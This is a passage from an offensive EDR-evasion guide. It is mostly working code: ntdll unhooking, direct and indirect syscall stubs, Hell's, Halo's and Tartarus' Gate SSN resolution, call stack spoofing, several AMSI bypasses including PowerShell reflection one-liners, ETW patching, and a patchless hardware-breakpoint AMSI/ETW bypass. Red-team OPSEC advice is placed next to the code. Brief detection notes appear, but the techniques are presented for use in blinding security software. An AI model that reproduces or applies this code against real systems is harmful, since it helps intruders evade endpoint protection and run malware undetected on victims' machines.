printf("[-] ReadProcessMemory failed: %lu\n", GetLastError());
VirtualFree(clean_ntdll, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
return FALSE;
}
printf("[*] Read %zu bytes of clean ntdll\n", bytes_read);
// ── Step 6: Extract .text section from both ───────────────
IMAGE_SECTION_HEADER* clean_text_sec = find_text_section(clean_ntdll);
IMAGE_SECTION_HEADER* hooked_text_sec = find_text_section(local_ntdll);
if (!clean_text_sec || !hooked_text_sec) {
printf("[-] .text section not found\n");
goto cleanup;
}
LPVOID clean_text = (BYTE*)clean_ntdll + clean_text_sec->VirtualAddress;
LPVOID hooked_text = (BYTE*)local_ntdll + hooked_text_sec->VirtualAddress;
SIZE_T text_size = clean_text_sec->Misc.VirtualSize;
printf("[*] Copying clean .text (0x%zx bytes) over hooked ntdll\n", text_size);
// ── Step 7: Overwrite hooked ntdll with clean bytes ────────
DWORD old_protect;
VirtualProtect(hooked_text, text_size, PAGE_EXECUTE_READWRITE, &old_protect);
memcpy(hooked_text, clean_text, text_size);
VirtualProtect(hooked_text, text_size, old_protect, &old_protect);
printf("[+] ntdll unhooked via Perun's Fart technique\n");
cleanup:
VirtualFree(clean_ntdll, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
[OPSEC] Spawning a process generates telemetry (process creation events). Use a process that already exists (open a handle via OpenProcess) rather than creating a new one, or use a Windows process that spawns as a normal part of the system (e.g., in a service context, spawn conhost.exe).
9. Bypass 4 — Direct Syscalls
What it means: Skip ntdll entirely. Instead of calling ntdll!NtAllocateVirtualMemory (which goes through the EDR hook), write the syscall stub yourself in assembly inside your own code. The kernel receives the syscall directly — the EDR hook in ntdll is never triggered.
Normal call:
Your code → ntdll!NtAllocateVirtualMemory → [EDR HOOK] → syscall → kernel
Direct syscall:
Your code → [YOUR CUSTOM STUB: mov eax, SSN / syscall] → kernel
EDR hook: Never reached. EDR is blind.
9.1 Direct Syscall Stub (MASM x64)
; direct_syscalls.asm — x64 MASM direct syscall stubs
; Compile: ml64 /c direct_syscalls.asm
.code
; ── NtAllocateVirtualMemory — SSN 0x18 (Windows 10 21H2) ──────
; SSN varies by OS version! (see §10 Hell's Gate for dynamic resolution)
NtAllocateVirtualMemory PROC
mov r10, rcx ; syscall calling convention (rcx → r10)
mov eax, 18h ; SSN — hardcoded (fragile!)
syscall
ret
NtAllocateVirtualMemory ENDP
; ── NtWriteVirtualMemory ──────────────────────────────────────
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah ; SSN for NtWriteVirtualMemory
syscall
ret
NtWriteVirtualMemory ENDP
; ── NtCreateThreadEx ─────────────────────────────────────────
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 0C2h ; SSN for NtCreateThreadEx
syscall
ret
NtCreateThreadEx ENDP
; ── NtProtectVirtualMemory ───────────────────────────────────
NtProtectVirtualMemory PROC
mov r10, rcx
mov eax, 50h
syscall
ret
NtProtectVirtualMemory ENDP
; ── NtOpenProcess ────────────────────────────────────────────
NtOpenProcess PROC
mov r10, rcx
mov eax, 26h
syscall
ret
NtOpenProcess ENDP
END
9.2 Direct Syscall in C (Inline ASM — MSVC)
// direct_syscall_inline.c — Direct syscall without external .asm file
// Uses __asm blocks (MSVC) or __asm__ (GCC/MinGW)
#include <windows.h>
// Windows 10 22H2 SSNs (change for other versions — see §10 for dynamic)
#define SSN_NtAllocateVirtualMemory 0x18
#define SSN_NtWriteVirtualMemory 0x3A
#define SSN_NtProtectVirtualMemory 0x50
#define SSN_NtCreateThreadEx 0xC2
#define SSN_NtOpenProcess 0x26
// ── Inline syscall wrapper (GCC/MinGW x64) ─────────────────────
static inline NTSTATUS syscall2(DWORD ssn,
HANDLE h, PVOID* base,
ULONG_PTR zbits, PSIZE_T size,
ULONG type, ULONG protect) {
NTSTATUS status;
__asm__ __volatile__ (
"mov %%rcx, %%r10\n\t" // syscall calling convention
"mov %1, %%eax\n\t" // SSN
"syscall\n\t"
"mov %%eax, %0\n\t"
: "=r"(status)
: "r"(ssn)
: "rax", "r10", "rcx", "r11"
);
return status;
}
// ── Usage example ───────────────────────────────────────────────
// (calling NtAllocateVirtualMemory directly without going through ntdll)
LPVOID direct_alloc(SIZE_T size, ULONG protect) {
LPVOID base = NULL;
NTSTATUS status;
// Direct syscall — EDR hook in ntdll NEVER reached
__asm__ __volatile__ (
"mov %%rcx, %%r10;"
"mov %1, %%eax;"
"syscall;"
: "=a"(status)
: "i"(SSN_NtAllocateVirtualMemory),
"c"((HANDLE)-1), // ProcessHandle = current process
"d"(&base), // BaseAddress
"r"((ULONG_PTR)0), // ZeroBits
"r"(&size), // RegionSize
"r"((ULONG)MEM_COMMIT | MEM_RESERVE), // AllocationType
"r"(protect) // Protect
: "r10", "r11"
);
return (NT_SUCCESS(status)) ? base : NULL;
}
[DETECT] EDR detection of direct syscalls: The syscall instruction executing from non-ntdll memory is a massive IOC. Modern EDRs use kernel-mode NtTraceEvent (ETW-TI) to check the return address when a syscall fires — if it points to a RWX region or a PE that isn't ntdll, it's flagged. Solution: indirect syscalls (§12).
10. Bypass 5 — Hell's Gate (Dynamic SSN Resolution)
What it means: Hardcoded SSNs (like mov eax, 0x18) break across Windows versions. Hell's Gate parses the ntdll export table at runtime to find the actual SSN for each Nt* function by reading it from the unhooked stub bytes. This makes syscall stubs portable across OS versions.
[TOOL] Hell's Gate: https://github.com/am0nsec/HellsGate
10.1 Hell's Gate — Read SSN from ntdll
// hells_gate.c — Dynamic SSN resolution from ntdll
// If the function is NOT hooked: reads SSN from bytes
// If hooked: falls through to Halo's Gate (§11)
#include <windows.h>
#include <stdio.h>
// Standard x64 Nt* stub pattern (first 4 bytes if clean):
// 4C 8B D1 mov r10, rcx
// B8 XX XX XX XX mov eax, <SSN> ← SSN is at bytes [4..7]
// ── Get SSN by parsing function bytes ─────────────────────────
WORD HellsGate(PVOID func_addr) {
PBYTE p = (PBYTE)func_addr;
// Check for clean syscall stub pattern
// 4C 8B D1 B8 = mov r10, rcx / mov eax, SSN
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8) {
// SSN is the WORD at offset 4 (little-endian DWORD, but SSN fits in WORD)
return *(WORD*)(p + 4);
}
// Function is hooked — return 0 to signal fallback to Halo's Gate
return 0;
}
// ── Find function address by export parsing (no GetProcAddress!) ─
PVOID get_nt_func(HMODULE ntdll, const char* func_name) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)ntdll + dos->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(
(BYTE*)ntdll + nt->OptionalHeader
.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* names = (DWORD*)((BYTE*)ntdll + exp->AddressOfNames);
WORD* ordinals = (WORD* )((BYTE*)ntdll + exp->AddressOfNameOrdinals);
DWORD* funcs = (DWORD*)((BYTE*)ntdll + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
char* name = (char*)((BYTE*)ntdll + names[i]);
if (strcmp(name, func_name) == 0)
return (BYTE*)ntdll + funcs[ordinals[i]];
}
return NULL;
}
// ── Full usage: resolve SSN dynamically ───────────────────────
void demo_hells_gate() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID fn_addr = get_nt_func(ntdll, "NtAllocateVirtualMemory");
WORD ssn = HellsGate(fn_addr);
if (ssn == 0) {
printf("[!] Function is hooked — use Halo's Gate\n");
// → fall through to §11
} else {
printf("[+] SSN for NtAllocateVirtualMemory: 0x%04X\n", ssn);
// Now use ssn in direct syscall stub:
// mov eax, ssn / syscall
}
}
11. Bypass 6 — Halo's Gate & Tartarus' Gate
What it means: Hell's Gate fails when the target function is hooked (EDR overwrote the bytes with JMP, so SSN is unreadable). Halo's Gate looks at adjacent Nt* functions (the ones above and below in the export table) to infer the hooked function's SSN, since SSNs are sequential.
Nt* functions are ordered sequentially in the syscall table:
NtAcceptConnectPort → SSN 0x02
NtAccessCheck → SSN 0x00
NtAllocateVirtualMemory → SSN 0x18 ← HOOKED (can't read)
NtAllocateVirtualMemoryEx → SSN 0x89
If NtAllocateVirtualMemory is hooked:
Read SSN from NtAllocateVirtualMemoryEx (SSN 0x89)
Then: target SSN = neighbor_SSN ± offset (based on export table order)
11.1 Halo's Gate — Neighbor-Based SSN Inference
// halos_gate.c — Infer SSN from neighboring unhooked functions
#include <windows.h>
#include <stdio.h>
// ── Get SSN from adjacent syscall stub ────────────────────────
// Walk ±N neighbors until we find an unhooked one
// neighbor_offset = how many entries up/down we moved
WORD HalosGate(PVOID func_addr) {
PBYTE p = (PBYTE)func_addr;
// Check if already clean
if (p[0] == 0x4C && p[1] == 0x8B && p[2] == 0xD1 && p[3] == 0xB8)
return *(WORD*)(p + 4);
// Walk neighbors: each Nt* stub is exactly 0x20 (32) bytes in ntdll
// (varies slightly by version — check empirically)
for (int i = 1; i <= 500; i++) {
// Check stub ABOVE target
PBYTE up = p - (0x20 * i);
if (up[0] == 0x4C && up[1] == 0x8B && up[2] == 0xD1 && up[3] == 0xB8) {
WORD neighbor_ssn = *(WORD*)(up + 4);
return neighbor_ssn + i; // Our SSN = neighbor + distance
}
// Check stub BELOW target
PBYTE down = p + (0x20 * i);
if (down[0] == 0x4C && down[1] == 0x8B && down[2] == 0xD1 && down[3] == 0xB8) {
WORD neighbor_ssn = *(WORD*)(down + 4);
return neighbor_ssn - i; // Our SSN = neighbor - distance
}
}
return 0; // Completely failed
}
11.2 Tartarus' Gate — Handle Hooked Neighbors
// tartarus_gate.c — Extended Halo's Gate that handles all hook types
// Handles: near JMP (E9), INT3 (CC), indirect JMP (FF 25)
#define STUB_SIZE 0x20 // Size of each Nt* stub in ntdll
WORD TartarusGate(PVOID func_addr) {
PBYTE p = (PBYTE)func_addr;
// ── Macros to detect common hook types ────────────────────
#define IS_CLEAN(ptr) ((ptr)[0]==0x4C && (ptr)[1]==0x8B && \
(ptr)[2]==0xD1 && (ptr)[3]==0xB8)
#define IS_HOOKED(ptr) ((ptr)[0]==0xE9 || (ptr)[0]==0xCC || \
((ptr)[0]==0xFF && (ptr)[1]==0x25))
if (IS_CLEAN(p)) return *(WORD*)(p + 4);
for (int i = 1; i <= 500; i++) {
PBYTE up = p - (STUB_SIZE * i);
PBYTE down = p + (STUB_SIZE * i);
if (IS_CLEAN(up) && !IS_HOOKED(up))
return *(WORD*)(up + 4) + i;
if (IS_CLEAN(down) && !IS_HOOKED(down))
return *(WORD*)(down + 4) - i;
}
return 0;
#undef IS_CLEAN
#undef IS_HOOKED
}
[TOOL] SysWhispers2/3 — Automated syscall stub generator using Hell's/Halo's/Tartarus' Gate: https://github.com/klezVirus/SysWhispers3
11.3 SysWhispers3 Usage
# ── Install SysWhispers3 ───────────────────────────────────────
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
pip install -r requirements.txt
# ── Generate syscall stubs for specific functions ──────────────
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,\
NtCreateThreadEx,NtProtectVirtualMemory,NtOpenProcess \
--out-file syscalls
# ── Output files ──────────────────────────────────────────────
# syscalls.h — header with function declarations
# syscalls.c — resolver code (Hell's/Halo's/Tartarus' Gate)
# syscalls.asm — x64 MASM stubs (link into your project)
# ── Compile with stubs ────────────────────────────────────────
# MSVC:
# ml64 /c syscalls.asm
# cl.exe loader.c syscalls.c syscalls.obj /Fe:loader.exe
# MinGW:
python syswhispers.py --functions ... --out-file syscalls --compiler mingw
x86_64-w64-mingw32-gcc loader.c syscalls.c -o loader.exe
# ── Indirect syscall mode (SysWhispers3 default) ───────────────
python syswhispers.py \
--functions NtAllocateVirtualMemory,NtCreateThreadEx \
--indirect \
--out-file syscalls_indirect
12. Bypass 7 — Indirect Syscalls
What it means: Direct syscalls execute the syscall instruction from your own code (non-ntdll memory) — EDRs detect this via call stack analysis. Indirect syscalls fix this by jumping into ntdll at the syscall; ret gadget that exists inside each Nt function, so the syscall instruction fires from within ntdll's memory*, making the call stack look legitimate.
Direct syscall:
[Your loader .text] → mov eax, SSN → syscall ← kernel sees non-ntdll return addr
Indirect syscall:
[Your loader .text] → mov eax, SSN → jmp [ntdll_syscall_gadget] → (syscall; ret inside ntdll)
↑
kernel sees ntdll return address
→ looks like a normal ntdll call
12.1 Indirect Syscall Implementation (MASM)
; indirect_syscalls.asm — Indirect syscall stubs
; SSN stored in a global, gadget address in another global
; Both set at runtime via Hell's/Halo's Gate + gadget scan
.data
; Filled at runtime (Hell's Gate SSN + gadget address)
g_ssn DWORD 0
g_gadget QWORD 0
.code
; ── Find syscall;ret gadget in ntdll ──────────────────────────
; Call this once per function to initialize g_ssn and g_gadget
; ── Indirect syscall wrapper ──────────────────────────────────
; Called after g_ssn and g_gadget are initialized
DoSyscall PROC
mov r10, rcx ; syscall calling convention
mov eax, [g_ssn] ; SSN (resolved via Hell's Gate)
jmp [g_gadget] ; jump to ntdll's "syscall;ret" gadget
; syscall fires FROM ntdll memory → stealthy
DoSyscall ENDP
END
12.2 Finding the syscall;ret Gadget in ntdll (C)
// find_gadget.c — Locate "syscall; ret" (0F 05 C3) inside ntdll .text
#include <windows.h>
// Find a "syscall; ret" gadget inside ntdll's .text section
// Returns: address of the syscall instruction (not ret)
LPVOID find_syscall_ret_gadget(HMODULE ntdll) {
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)ntdll;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)((BYTE*)ntdll + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = IMAGE_FIRST_SECTION(nt);
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
if (memcmp(sec[i].Name, ".text", 5) == 0) {
BYTE* text = (BYTE*)ntdll + sec[i].VirtualAddress;
SIZE_T text_size = sec[i].Misc.VirtualSize;
// Scan for: 0F 05 C3 (syscall; ret)
for (SIZE_T j = 0; j < text_size - 2; j++) {
if (text[j] == 0x0F && // syscall
text[j+1] == 0x05 &&
text[j+2] == 0xC3) // ret
{
return &text[j]; // Return address of syscall instruction
}
}
}
}
return NULL;
}
// ── Runtime setup: initialize SSN + gadget for NtAllocateVirtualMemory ──
LPVOID g_gadget = NULL;
DWORD g_ssn = 0;
BOOL init_indirect_syscall(const char* func_name) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID func = GetProcAddress(ntdll, func_name);
// Resolve SSN (Hell's Gate / Halo's Gate)
g_ssn = HalosGate(func); // From §10/§11
// Find gadget
g_gadget = find_syscall_ret_gadget(ntdll);
if (!g_ssn || !g_gadget) {
printf("[-] Failed to init indirect syscall for %s\n", func_name);
return FALSE;
}
printf("[+] SSN: 0x%04X | Gadget: 0x%p\n", g_ssn, g_gadget);
return TRUE;
}
[OPSEC] Indirect syscalls + stack spoofing = the gold standard. Indirect syscalls make the syscall fire from ntdll, but the call stack before ntdll still shows your loader's return address. Add call stack spoofing (§13) to hide that too.
13. Bypass 8 — Call Stack Spoofing
What it means: EDRs inspect the thread's call stack when a sensitive API is called. If the call chain shows a return address pointing to a private RWX allocation or an anonymous region (not a mapped PE), it's a massive red flag. Call stack spoofing manipulates the stack's return addresses to make the call appear to originate from legitimate Windows DLLs.
Without spoofing (EDR sees):
[kernel] → ntdll!NtAllocateVirtualMemory
← return: loader.exe private memory (anonymous RWX) ← FLAGGED
With call stack spoofing (EDR sees):
[kernel] → ntdll!NtAllocateVirtualMemory
← return: ntdll!RtlUserThreadStart+0x21 ← Looks legitimate
← return: kernel32!BaseThreadInitThunk+0x14
← return: (0x0000 — clean stack terminator)
13.1 Basic Return Address Overwrite
// stack_spoof_basic.c — Overwrite return address on stack
// WARNING: naive implementation — works for sleep-time scanning evasion
// For call-time detection, use synthetic frame spoofing (§13.2)
#include <windows.h>
#include <stdio.h>
// ── Find legitimate return address in ntdll ────────────────────
LPVOID find_ntdll_ret_addr() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
// Find: RtlUserThreadStart+0x21 (common benign frame)
// This address is in every normal thread's call stack
LPVOID rts = GetProcAddress(ntdll, "RtlUserThreadStart");
return (BYTE*)rts + 0x21; // Offset to a safe return point
}
// ── Spoof return address before sensitive call ─────────────────
// Overwrites the caller's return address on stack before NtAllocateVirtualMemory
// [ADVANCED] — requires careful stack frame calculation
// See: https://github.com/mgeeky/ThreadStackSpoofer for full impl
void call_with_spoofed_stack(void* func, ...) {
LPVOID legit_ret = find_ntdll_ret_addr();
// Get current RSP — return address of caller is at [RSP+8]
// (or [RSP] if called directly)
ULONG_PTR* stack_ret_addr;
__asm__ __volatile__ (
"mov %%rsp, %0"
: "=r"(stack_ret_addr)
);
// stack_ret_addr[1] = return address of our caller
// Overwrite with legitimate ntdll address
ULONG_PTR original_ret = stack_ret_addr[1];
stack_ret_addr[1] = (ULONG_PTR)legit_ret;
// → Now make the sensitive call
// → After call returns, restore original return address
stack_ret_addr[1] = original_ret;
}
13.2 Synthetic Frame Spoofing (Advanced)
// synthetic_stack_spoof.c
// Builds a complete fake call stack using UNWIND_INFO to calculate
// exact frame sizes, placing legitimate return addresses at each level
// Key insight: Windows x64 stack walking uses UNWIND_INFO from .pdata
// We must build frames that match actual unwind records — simple
// return address overwrite fails modern EDR walk-and-validate
// Tools implementing this properly:
// - SilentMoonwalk: https://github.com/klezVirus/SilentMoonwalk
// - CallStackSpoofer: https://github.com/WithSecureLabs/CallStackSpoofer
// - ThreadStackSpoofer: https://github.com/mgeeky/ThreadStackSpoofer
// - DarkWidow (APC injection + stack spoofing): https://github.com/reveng007/DarkWidow
// The algorithm (pseudocode):
/*
1. Choose target call stack (e.g., a normal ntdll call chain)
frames = [
{ dll="ntdll.dll", offset=0x21, func="RtlUserThreadStart" },
{ dll="kernel32.dll", offset=0x14, func="BaseThreadInitThunk" },
]
2. For each frame, resolve absolute address:
ret_addr = GetModuleHandleA(dll) + func_offset + offset
3. Parse UNWIND_INFO from .pdata for each function:
- Determines how many bytes each function allocates on stack
- We need this to calculate where each frame's return address sits
4. Build the fake stack from bottom (deepest) to top:
- Write fake return addresses at computed RSP offsets
- Place 0x0 at the final frame to terminate stack walk
5. Execute sensitive call with RSP pointing to fake stack
- EDR walks stack: sees only legitimate ntdll/kernel32 return addresses
*/
// Reference implementation structure from SilentMoonwalk:
typedef struct _FRAME {
ULONG_PTR dll_base; // Base of the module this frame is in
ULONG_PTR ret_addr; // Calculated return address (dll_base + offset)
ULONG_PTR stack_size; // Stack frame size from UNWIND_INFO
} FRAME;
[TOOL] Call stack spoofing tools:
- ThreadStackSpoofer — https://github.com/mgeeky/ThreadStackSpoofer
- SilentMoonwalk — https://github.com/klezVirus/SilentMoonwalk
- CallStackSpoofer — https://github.com/WithSecureLabs/CallStackSpoofer
14. Bypass 9 — AMSI Patching & Bypass
What it means: AMSI (Antimalware Scan Interface) is a Windows API that allows AV/EDR engines to scan content (PowerShell scripts, .NET assemblies, VBScript, etc.) before execution. EDRs hook into AMSI to catch malicious scripts even if they bypass on-disk detection. Bypassing AMSI is essential for C# tool execution (Rubeus, SharpHound, etc.).
AMSI Call Flow:
PowerShell / .NET loads assembly
│
▼
amsi.dll!AmsiInitialize() → Initializes AMSI session
amsi.dll!AmsiScanBuffer() → Submits content for scanning
│ ← EDR hooks here
▼
AV/EDR engine scans the content
│
▼
AMSI_RESULT_CLEAN or AMSI_RESULT_DETECTED
14.1 Classic AMSI Patch (AmsiScanBuffer → Return 0)
// amsi_patch.cs — Classic AMSI bypass via memory patching
// Overwrites AmsiScanBuffer to return AMSI_RESULT_CLEAN immediately
// Detectable by EDRs that hash amsi.dll .text section
using System;
using System.Runtime.InteropServices;
class AMSIPatch {
[DllImport("kernel32")] static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32")] static extern IntPtr LoadLibrary(string n);
[DllImport("kernel32")] static extern bool VirtualProtect(
IntPtr addr, UIntPtr size, uint prot, out uint old);
static void Patch() {
IntPtr amsi = LoadLibrary("amsi.dll");
IntPtr fn = GetProcAddress(amsi, "AmsiScanBuffer");
// Patch bytes: xor eax,eax / ret (returns 0 = AMSI_RESULT_CLEAN)
byte[] patch = new byte[] { 0x31, 0xC0, 0xC3 };
uint oldProtect;
VirtualProtect(fn, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, fn, patch.Length);
VirtualProtect(fn, (UIntPtr)patch.Length, oldProtect, out oldProtect);
Console.WriteLine("[+] AMSI patched (classic — detectable by memory scan)");
}
}
14.2 AMSI Bypass via PowerShell Reflection
# amsi_bypass_reflection.ps1 — Bypass via .NET reflection
# Sets amsiInitFailed flag in the runtime context
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField(
'amsiInitFailed',
'NonPublic,Static'
).SetValue($null, $true)
# Alternative — context corruption method:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiContext', 'NonPublic,Static')
$c = $b.GetValue($null)
[IntPtr]$d = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
$b.SetValue($null, $d)
# Force-fail method (corrupts scan result):
$r = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$r.GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]::Zero)
14.3 AMSI Context Corruption (C)
// amsi_context_corrupt.c
// Corrupt the AMSI context pointer → makes all scans return AMSI_RESULT_CLEAN
// Less detectable than patching AmsiScanBuffer bytes
#include <windows.h>
BOOL corrupt_amsi_context() {
// Load amsi.dll if not loaded
HMODULE amsi = LoadLibraryA("amsi.dll");
if (!amsi) return FALSE;
// Get AmsiScanBuffer address
FARPROC scan_fn = GetProcAddress(amsi, "AmsiScanBuffer");
// AmsiScanBuffer checks amsiContext at start:
// mov rax, [amsiContext] ; load context ptr
// test rax, rax ; NULL check
// je fail_path ; if NULL → return error (treated as clean)
// Strategy: Find the amsiContext variable in amsi.dll's data section
// and zero it out — all subsequent scans skip context and return clean
// Actual implementation reads scan_fn bytecode to locate the
// RIP-relative address of amsiContext — requires disassembly
// See: https://github.com/rasta-mouse/AmsiScanBufferBypass
return TRUE;
}
[DETECT] AMSI bypass detection: EDRs scan amsi.dll's .text section bytes against known-good values. The classical xor eax, eax; ret patch is instantly detected. Use hardware breakpoint bypass (§16) for patchless AMSI bypass.
15. Bypass 10 — ETW Patching
What it means: ETW (Event Tracing for Windows) is the telemetry backbone for EDRs. It collects events about process activity, memory operations, and more. Patching ntdll!EtwEventWrite (the function that submits ETW events) blinds the EDR's telemetry pipeline for the current process.
ETW Call Flow:
Your code runs (or EDR hook inspects call)
│
▼
ntdll!EtwEventWrite() / ntdll!NtTraceEvent() ← patch here
│
▼
ETW subsystem → forwards events to registered providers
│
▼
EDR's monitoring service reads telemetry
15.1 ETW Patch via EtwEventWrite (C)
// etw_patch.c — Patch EtwEventWrite to suppress ETW telemetry
#include <windows.h>
BOOL patch_etw() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
LPVOID etw_fn = GetProcAddress(ntdll, "EtwEventWrite");
if (!etw_fn) {
printf("[-] EtwEventWrite not found\n");
return FALSE;
}
// Patch with: ret (0xC3)
// Or: xor eax, eax; ret (0x31 0xC0 0xC3)
BYTE patch[] = { 0xC3 }; // ret — returns immediately, no event written
DWORD old_protect;
VirtualProtect(etw_fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old_protect);
memcpy(etw_fn, patch, sizeof(patch));
VirtualProtect(etw_fn, sizeof(patch), old_protect, &old_protect);
printf("[+] EtwEventWrite patched — ETW telemetry suppressed\n");
return TRUE;
}
15.2 ETW Patch via PowerShell
# Patch-ETW.ps1 — Disable ETW via PowerShell + reflection
# Patches EtwEventWrite in ntdll via P/Invoke
$code = @"
using System;
using System.Runtime.InteropServices;
public class ETWPatch {
[DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr h, string p);
[DllImport("kernel32")] public static extern IntPtr GetModuleHandle(string m);
[DllImport("kernel32")] public static extern bool VirtualProtect(
IntPtr a, UIntPtr s, uint p, out uint o);
public static void Patch() {
IntPtr ntdll = GetModuleHandle("ntdll.dll");
IntPtr etwFn = GetProcAddress(ntdll, "EtwEventWrite");
uint oldProt;
VirtualProtect(etwFn, (UIntPtr)1, 0x40, out oldProt);
System.Runtime.InteropServices.Marshal.WriteByte(etwFn, 0xC3);
VirtualProtect(etwFn, (UIntPtr)1, oldProt, out oldProt);
}
}
"@
Add-Type -TypeDefinition $code
[ETWPatch]::Patch()
Write-Host "[+] ETW patched"
[DETECT] ETW patch detection: Like AMSI patching, byte-level ETW patches are detectable by memory scanning. Use hardware breakpoint bypass (§16) for patchless ETW suppression.
16. Bypass 11 — Patchless Bypass (Hardware Breakpoints + VEH)
What it means: Classic patching modifies memory — EDRs detect this by periodically hashing critical DLL sections. Patchless bypass uses hardware breakpoints (CPU debug registers Dr0-Dr3) combined with a Vectored Exception Handler (VEH). No memory is modified — the bypass is entirely transparent to memory scanners.
How it works:
1. Register a Vectored Exception Handler (VEH)
2. Set a hardware breakpoint (Dr0) on AmsiScanBuffer / EtwEventWrite
3. When AmsiScanBuffer is called:
├─ CPU fires a EXCEPTION_SINGLE_STEP exception
├─ VEH catches it
├─ VEH modifies registers to fake a clean result:
│ └─ RAX = 0 (AMSI_RESULT_CLEAN) / RIP = return address
└─ VEH continues execution — function body never runs
4. amsi.dll bytes: UNMODIFIED (no hash mismatch for EDR to detect)
16.1 Patchless AMSI Bypass via HWBP + VEH (C++)
// patchless_amsi.cpp — Hardware breakpoint AMSI bypass
// Derived from Turla Kazuar v3 loader technique
// No memory patching — fully transparent to memory scanners
#include <windows.h>
#include <amsi.h>
#include <stdio.h>
// ── Global state ──────────────────────────────────────────────
static LPVOID g_amsi_fn = NULL; // AmsiScanBuffer address (HW BP target)
static LPVOID g_etw_fn = NULL; // EtwEventWrite address (optional)
// ── VEH Handler ───────────────────────────────────────────────
// Fires on EXCEPTION_SINGLE_STEP when CPU hits the HW breakpoint
LONG CALLBACK HwbpVehHandler(PEXCEPTION_POINTERS ep) {
PEXCEPTION_RECORD rec = ep->ExceptionRecord;
PCONTEXT ctx = ep->ContextRecord;
if (rec->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// ── Check if breakpoint hit on AmsiScanBuffer ──────────
if (g_amsi_fn && ctx->Rip == (DWORD64)g_amsi_fn) {
// AmsiScanBuffer signature:
// HRESULT AmsiScanBuffer(
// HAMSICONTEXT amsiContext, → RCX
// PVOID buffer, → RDX
// ULONG length, → R8
// LPCWSTR contentName, → R9
// HAMSISESSION amsiSession, → [RSP+0x28]
// AMSI_RESULT* result → [RSP+0x30]
// )
// Force result = AMSI_RESULT_CLEAN (0)
AMSI_RESULT* result_ptr = *(AMSI_RESULT**)(ctx->Rsp + 0x30);
if (result_ptr) {
*result_ptr = AMSI_RESULT_CLEAN;
}
// Set return value to S_OK (0)
ctx->Rax = S_OK;
// Skip AmsiScanBuffer body — jump directly to return address
ctx->Rip = *(DWORD64*)ctx->Rsp; // RIP = [RSP] (return address)
ctx->Rsp += 8; // Pop return address from stack
// Clear Dr6 (hardware debug status register)
ctx->Dr6 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
// ── Check if breakpoint hit on EtwEventWrite ───────────
if (g_etw_fn && ctx->Rip == (DWORD64)g_etw_fn) {
// Return immediately — event never written
ctx->Rip = *(DWORD64*)ctx->Rsp;
ctx->Rsp += 8;
ctx->Rax = 0; // ERROR_SUCCESS
ctx->Dr6 = 0;
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
// ── Set hardware breakpoint on a function ─────────────────────
// Dr0-Dr3 = breakpoint addresses
// Dr7 = control register (enable bits)
BOOL set_hardware_breakpoint(LPVOID target_addr, int dr_index) {
HANDLE hThread = GetCurrentThread();
CONTEXT ctx = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
if (!GetThreadContext(hThread, &ctx)) return FALSE;
// Set the address in Dr0-Dr3
switch (dr_index) {
case 0: ctx.Dr0 = (DWORD64)target_addr; break;
case 1: ctx.Dr1 = (DWORD64)target_addr; break;
case 2: ctx.Dr2 = (DWORD64)target_addr; break;
case 3: ctx.Dr3 = (DWORD64)target_addr; break;
default: return FALSE;
}
// Enable local breakpoint in Dr7:
// Bit (2*N) = local enable for Dr_N (execute breakpoint)
ctx.Dr7 |= (1ULL << (2 * dr_index));
return SetThreadContext(hThread, &ctx);
}
// ── Patchless bypass entry point ──────────────────────────────
BOOL patchless_amsi_etw_bypass() {
// Resolve target functions
HMODULE h_amsi = LoadLibraryA("amsi.dll");
HMODULE h_ntdll = GetModuleHandleA("ntdll.dll");
g_amsi_fn = GetProcAddress(h_amsi, "AmsiScanBuffer");
g_etw_fn = GetProcAddress(h_ntdll, "EtwEventWrite");
if (!g_amsi_fn || !g_etw_fn) {
printf("[-] Failed to resolve target functions\n");
return FALSE;
}
// Register VEH (high priority — installed first)
PVOID veh_handle = AddVectoredExceptionHandler(1, HwbpVehHandler);
if (!veh_handle) {
printf("[-] AddVectoredExceptionHandler failed\n");
return FALSE;
}
// Set hardware breakpoints
set_hardware_breakpoint(g_amsi_fn, 0); // Dr0 = AmsiScanBuffer
set_hardware_breakpoint(g_etw_fn, 1); // Dr1 = EtwEventWrite
printf("[+] Patchless bypass active:\n");
printf(" Dr0 → AmsiScanBuffer (0x%p)\n", g_amsi_fn);
printf(" Dr1 → EtwEventWrite (0x%p)\n", g_etw_fn);
